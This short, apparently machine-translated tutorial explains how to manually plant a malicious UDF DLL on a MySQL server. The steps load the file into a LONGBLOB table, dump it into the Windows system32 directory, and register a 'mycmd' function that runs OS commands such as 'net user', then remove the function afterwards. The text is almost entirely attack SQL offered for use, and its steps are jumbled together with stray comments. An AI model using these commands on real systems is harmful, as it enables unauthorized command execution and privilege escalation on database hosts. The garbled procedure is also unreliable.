UDF manual export claim

When the default UDF export fails, you can try to export the UDF manually by using the manual method, as follows:
First upload Udf.dll, connect to MySQL, and then follow the steps below to execute the SQL statement. CREATE TABLE ZZ (ABC Longblob)//Note the column type is Longblob 2.insert into ZZ values (load_file (' C:\\udf.dll ')); Uploaded udf.dll Path select * FROM ZZ to DumpFile ' C://windows//system32//udf.dll '; Import Target address MySQL 5.0 to import to the system directory Create Function mycmd returns string Soname ' Udf.dll '; Here if the exported path is C://windows//system32//udf2.dll ' can be changed back to Udf2.dll select myCMD (' Net user '); Drop function myCMD;

Delete the Udf.dll method, first delete the generated function
Drop function myCMD;